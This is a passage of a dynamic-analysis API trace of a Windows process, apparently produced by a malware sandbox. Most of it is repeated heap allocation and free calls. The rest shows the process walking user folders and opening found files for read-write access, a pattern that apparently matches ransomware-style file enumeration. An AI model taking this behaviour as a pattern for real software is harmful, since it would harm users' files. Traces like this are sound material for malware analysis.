(HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.743] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.743] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0117.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.744] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.744] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.745] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.745] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.746] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.746] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.746] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.746] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.746] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.746] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.746] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.746] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.746] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.746] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.746] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.746] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.746] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.746] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.746] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.746] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.746] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.746] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.746] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.746] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.746] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.746] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0117.746] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.746] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.746] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.746] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.746] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.746] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.746] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.746] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.747] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.747] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.747] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.747] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.747] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.747] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.747] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.747] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.747] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.747] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.747] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.747] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.747] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.747] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.747] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.747] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.747] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.747] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.747] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.747] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.747] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.747] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.747] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.747] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.747] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.747] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.747] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.747] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.747] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.747] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.748] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.748] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.748] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.748] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.748] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.748] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.748] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.748] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.748] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.748] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.748] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.748] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.748] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.748] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.748] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.748] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.748] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.748] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.748] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.748] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.748] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.748] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.748] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.748] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.748] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.748] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.748] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.748] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.748] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.748] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.748] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.749] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.749] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.749] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.749] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.749] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.749] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.749] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.749] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.749] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.749] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.749] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="Saved Games\\" [0117.749] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.749] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.749] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0117.749] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.749] PathFindFileNameW (pszPath="") returned="" [0117.749] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0117.749] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.749] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.749] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini") returned=".ini" [0117.749] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0117.750] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0117.750] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.750] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.750] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="Searches\\" [0117.750] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.750] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.750] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.750] PathFindFileNameW (pszPath="") returned="" [0117.750] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0117.750] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.750] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.750] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini") returned=".ini" [0117.750] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0117.750] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms") returned=".search-ms" [0117.750] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.751] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0117.751] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms") returned=".search-ms" [0117.751] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, 